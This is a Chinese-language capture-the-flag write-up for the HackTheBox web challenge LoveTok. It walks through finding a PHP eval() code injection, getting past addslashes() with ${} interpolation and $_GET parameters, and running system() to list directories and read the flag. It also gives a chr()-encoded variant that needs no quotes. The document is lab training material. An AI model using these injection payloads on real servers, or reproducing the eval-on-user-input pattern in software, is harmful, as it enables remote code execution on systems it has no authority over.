HTB LoveTok

環境說明

hackthebox上的web靶機,名稱為LoveTok

攻擊策略

饒過addslashes字串保護,並利用eval執行任意程式碼

安全檢測重點                                        

  • 在注入點測試${phpinfo()}可否執行
    在PHP GET中,可以用?id=${phpinfo()}的方法執行命令,${}內部函數會被執行
  • 在程式碼中檢查篩選僅使用addslashes()       
  • 在程式碼中檢查是否使用eval()

目標防禦機制

php addslashes() : 作用是在預先定義的字元前面加上反斜杠,這些預定義字元包括:單引號(’);雙引號(”);反斜線(\);NULL


入侵方式

1原碼分析

分析TimeModel.php,發現 $this->format有注入問題

public function getTime()
{
      eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

例如
$this->format改為");system("ls /") ,程式將變為以下,理論上可實現程式碼注入

eval('$time = date("");system("ls /")//", strtotime("'' . $this->prediction . '"));');

2饒過防禦機制

但因為有addslashes(),所以注入不能用到雙引號,因此");system("ls /")無法使用

為了饶过addslashes,所以使用${}格式测试是否也能執行
<http://Target IP/?format=${phpinfo()}>

執執行後程式碼將變成以下

eval('$time = date("${phpinfo()}", strtotime("'' . $this->prediction . '"));');

而且在網頁中可以顯示phpinfo() 結果,代表使用${}這種方法可饒過addslashes()

3執行ls指令

執行ls尋找flag
但以下方法需要用雙引號,所以此方法無法執行
<http://Target IP/?format=${system("ls")}>

所以要改成以下,避开双引号,透过$_GET[1]去拿ls命令
<http://Target IP/?format=${system($_GET[1])}&1=ls>

先搜尋根目錄/,所以要使用+,這在php會被解碼為空格,如下
<http://Target IP/?format=${system($_GET[1])}&1=ls+/>

執行後就會看到 flagepfnx檔案

4執行cat指令

顯示flagepfnx檔案
<http://Target IP/?format=${system($_GET[1])}&1=cat+/flagepfnx>

得到Flag


補充說明

1.php不同的輸出方式介紹

$a = 1;
echo 'a is $a';   // result: a is $a
echo "a is $a";   // result: a is 1
echo "${a}bc";    // result: 1bc

function b()
{
  return "a";
}
echo "a is ${b()}";     // result: a is 1 as it gets a is $a 1st

2.在 PHP 中,URL 中的+會被解碼為空格

這是因為在 URL 編碼中,空格通常被編碼為「+」號。
例如,如果您使用 GET 方法提交表單資料並且包含一個帶有空格的字段,則瀏覽器會將空格轉換為加號,並在發送請求時將其包含在 URL 中。 當 PHP 伺服器接收到此請求時,會自動將加號解碼為空格。

3.可使用十六進位來饒過addslashes()

以下等同於cat flag
${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(42))}


參考文獻
https://websec.one/hack-the-box-lovetok-writeup/
https://www.freebuf.com/articles/web/327404.html